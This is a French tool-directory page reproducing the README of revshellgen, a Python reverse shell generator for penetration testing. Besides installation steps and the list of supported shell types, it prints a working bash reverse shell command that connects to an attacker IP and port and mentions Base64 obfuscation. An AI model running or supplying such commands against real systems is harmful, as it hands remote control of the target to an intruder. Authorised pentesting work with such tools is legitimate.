Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
revshellgen — Générateur de shell inverse écrit en Python 3. | Kitploit
Outils/GitHubGitHub/t0thkr1s/revshellgen
Génération de PayloadsExploitationTests d'IntrusionCommandement et ContrôleRed TeamingGénération de ShellcodeDéveloppement de Charges Utiles
GitHubt0thkr1s/revshellgen

revshellgen

Générateur de shell inverse écrit en Python 3.

Voir le dépôt
5659421il y a 1 anVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚀 RevShellGen

Générateur de Shell Inversé

Python License Stars

CI Tests PyPI

Automatisez la génération de shells inversés avec style
Générez, encodez et interceptez des shells inversés sans tracas


Fonctionnalités • Installation • Utilisation • Types de Shell • Contribuer

📖 À Propos

RevShellGen est un outil en ligne de commande puissant qui simplifie le processus de génération de commandes de shell inversé. Fini de chercher la syntaxe, l'encodage manuel, les maux de tête de configuration. Cet outil s'en charge avec une interface intuitive.

🎯 Fonctionnalités Clés

  • 🖥️ CLI Interactive - Interface intuitive basée sur des menus
  • 🔄 Encodage automatique - Support de l'encodage URL et Base64
  • 📋 Intégration presse-papiers - Copie automatique des commandes générées
  • 🌐 Détection réseau - Découverte automatique de l'adresse IP
  • 🎨 Types de shell multiples - Bash, Python, Netcat, PowerShell, et plus
  • 🔊 Écouteur intégré - Configuration automatique d'un écouteur netcat/ncat
  • 🍎 Multi-plateforme - Support complet de Linux et macOS
  • 📚 Guide de mise à niveau TTY - Instructions complètes pour améliorer les shells

🚀 Démarrage Rapide

Option 1 : Installer depuis PyPI

# Installation depuis PyPI
pip install revshellgen

# Lancement de l'outil
revshellgen

Option 2 : Installer depuis les sources

# Cloner le dépôt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Installer les dépendances
pip3 install -r requirements.txt

# Lancer l'outil
python3 revshellgen.py  # ou python3 revshellgen_cli.py

📦 Installation

Prérequis

  • Python 3.6 ou plus récent
  • pip (gestionnaire de paquets Python)

Dépendances

RevShellGen nécessite les paquets Python suivants :

PaquetUtilité
pyperclipOpérations presse-papiers
coloramaCouleurs du terminal
readcharSaisie interactive au clavier
netifacesDétection des interfaces réseau

Méthodes d'Installation

Méthode 1 : Utiliser requirements.txt (La plus simple)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
Méthode 2 : Utiliser setup.py (Traditionnelle)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
Méthode 3 : Environnement virtuel (Recommandé pour l'isolation)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # Sur Windows : venv\Scripts\activate
pip3 install -r requirements.txt
Méthode 4 : Installation manuelle
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
Méthode 5 : Installation utilisateur (sans sudo)
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Remarques Spécifiques par Plateforme

🐧 Linux

# Vous aurez peut-être besoin d'installer python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

# Installez ncat pour un meilleur support de l'écouteur
brew install nmap  # Inclut ncat

💻 Utilisation

Flux de travail de base

  1. Lancez l'outil

    python3 revshellgen.py
    
  2. Configurez votre shell inversé

    • Sélectionnez votre adresse IP (détectée automatiquement)
    • Choisissez un port (ex. 4444, 9001)
    • Sélectionnez le type de shell (bash, python, etc.)
    • Choisissez l'encodage (aucun, URL, Base64)
  3. La commande générée est automatiquement copiée dans le presse-papiers

  4. Démarrez l'écouteur (automatique)

  5. Exécutez la commande sur la machine cible

📸 Captures d'écran


Sélection du Shell

Génération de la commande

🐚 Shells Supportés

Type de ShellDescriptionPlateforme
BashShell inversé TCP BashLinux/Unix
PythonShell inversé PythonMulti-plateforme
NetcatShell inversé nc traditionnelLinux/Unix
Netcat mkfifoNetcat avec fifo nomméLinux/Unix
PerlShell inversé PerlMulti-plateforme
PHPShell inversé PHPMulti-plateforme
RubyShell inversé RubyMulti-plateforme
JavaShell inversé JavaMulti-plateforme
AWKShell inversé AWKLinux/Unix
SocatShell inversé SocatLinux/Unix
Socat TTYSocat avec TTY completLinux/Unix
TelnetShell inversé TelnetLinux/Unix
PowerShellWindows PowerShellWindows

🔧 Fonctionnalités Avancées

Mise à Niveau du Shell TTY

RevShellGen inclut désormais des instructions complètes de mise à niveau TTY. Après avoir intercepté un shell, l'outil fournit :

  • Méthodes pas à pas pour créer un PTY
  • Détection et configuration de la taille du terminal
  • Plusieurs techniques de mise à niveau pour différents environnements
  • Conseils de dépannage pour les problèmes courants
  • Commandes de référence rapide

Options d'Encodage

  • Aucun - Commande brute
  • Encodage URL - Pour l'exploitation d'applications web
  • Base64 - Pour l'obfuscation de commandes

Options de l'Écouteur

L'outil détecte automatiquement et utilise la variante netcat appropriée :

  • ncat (préféré, issu du paquet nmap)
  • nc (netcat traditionnel)
  • Support de la syntaxe nc spécifique à macOS

📝 Exemple de Session

$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SÉLECTIONNER IP ] ----------
[ x ] 192.168.1.10 sur eth0
[   ] 10.0.0.5 sur tun0
[   ] Spécifier manuellement

---------- [ SPÉCIFIER LE PORT ] ----------
[ # ] Entrez le numéro de port : 4444

---------- [ SÉLECTIONNER LA COMMANDE ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ COMMANDE DE SHELL INVERSÉ ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
Télécharger l’outil